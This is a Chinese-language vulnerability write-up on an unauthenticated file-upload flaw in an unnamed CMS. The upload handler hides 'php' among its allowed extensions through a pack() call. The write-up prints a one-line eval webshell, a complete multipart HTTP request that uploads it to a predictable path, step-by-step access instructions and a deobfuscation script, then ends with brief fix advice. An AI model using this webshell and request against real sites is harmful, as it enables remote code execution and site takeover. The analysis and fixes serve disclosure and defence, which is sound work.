毫无套路的某cms前台getshell分析
字数 811 2025-08-27 12:33:42
某CMS前台无限制文件上传漏洞分析与利用
漏洞概述
该CMS存在一个前台无限制文件上传漏洞,攻击者无需任何身份验证即可上传任意文件(包括PHP webshell),导致远程代码执行(RCE)。
漏洞分析
漏洞位置
漏洞存在于 /source/pack/upload/index-uplog.php 文件中。
关键代码分析
解密后的上传处理代码如下:
if(!empty($_FILES)){
$filepart = pathinfo($_FILES['app']['name']);
$extension = strtolower($filepart['extension']);
if(in_array($extension,array('ipa','apk','mobileconfig',pack('H*',706870)))){
$time = $_POST['time'];
preg_match('/^(\d+\-\d+)$/',$time) or exit('-1');
$dir = '../../../data/tmp/'.$time.'/';
if(!is_dir($dir)){
@mkdir($dir,0777,true);
}
$file = '../../../data/tmp/'.$time.'.'.$extension;
@move_uploaded_file($_FILES['app']['tmp_name'],$file);
// ... 其他处理代码 ...
echo "{'extension':'$extension','time':'$time'}";
}else{
echo '-1';
}
}
关键漏洞点
- 文件后缀检查:代码检查文件后缀是否在
array('ipa','apk','mobileconfig',pack('H*',706870))中 - pack('H*',706870)解密:706870的十六进制解码后是"php",这意味着PHP文件是被允许上传的
- 无身份验证:上传功能无需任何登录或权限验证
- 目录可预测:上传路径基于时间戳,可预测
漏洞利用步骤
1. 准备PHP webshell
可以使用任何PHP webshell,例如:
<?php @eval($_POST['cmd']);?>
2. 构造上传请求
使用Burp Suite或其他工具发送以下请求:
POST /source/pack/upload/index-uplog.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345
------WebKitFormBoundary12345
Content-Disposition: form-data; name="time"
2023-01-01
------WebKitFormBoundary12345
Content-Disposition: form-data; name="app"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
------WebKitFormBoundary12345--
3. 确定上传路径
上传成功后,文件将被保存在:
/data/tmp/[time].php
例如:
/data/tmp/2023-01-01.php
4. 访问webshell
直接访问上传的PHP文件即可执行任意代码。
漏洞修复建议
- 严格限制上传文件类型:移除PHP文件类型的允许
- 添加身份验证:上传功能应要求用户登录
- 文件内容检查:检查上传文件内容是否为允许的类型
- 随机化文件名:使用不可预测的文件名
- 禁用上传目录的脚本执行:配置服务器禁止在上传目录执行PHP脚本
补充说明
- 该漏洞在官方最新版中仍然存在
- 上传功能实际上不需要登录,直接发送POST请求即可
- 后台可能还存在其他漏洞(如评论中提到的"后台有惊喜")
技术细节
代码混淆分析
原始代码使用了多层混淆,可以使用以下脚本解密:
<?php
$filename=$_GET['f'];//要解密的文件
$lines = file($filename);//0,1,2行
//第一次base64解密
$content="";
if(preg_match("/O0O0000O0$'.*'$/",$lines[1],$y))
{
$content=str_replace("O0O0000O0('","",$y[0]);
$content=str_replace("')","",$content);
$content=base64_decode($content);
}
//第一次base64解密后的内容中查找密钥
$decode_key="";
if(preg_match("/\),'.*',/",$content,$k))
{
$decode_key=str_replace("),'","",$k[0]);
$decode_key=str_replace("',","",$decode_key);
}
//查找要截取字符串长度
$str_length="";
if(preg_match("/,\d*\),/",$content,$k))
{
$str_length=str_replace("),","",$k[0]);
$str_length=str_replace(",","",$str_length);
}
//截取文件加密后的密文
$Secret=substr($lines[2],$str_length);
//直接还原密文输出
file_put_contents(rtrim($filename, '.php') . "_decode.php", "<?php\n" . base64_decode(strtr(
$Secret,
$decode_key,
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)) ."?>");
?>
上传限制绕过
虽然代码看起来限制了文件类型,但由于故意加入了PHP类型(通过pack混淆),实际上允许了PHP文件上传。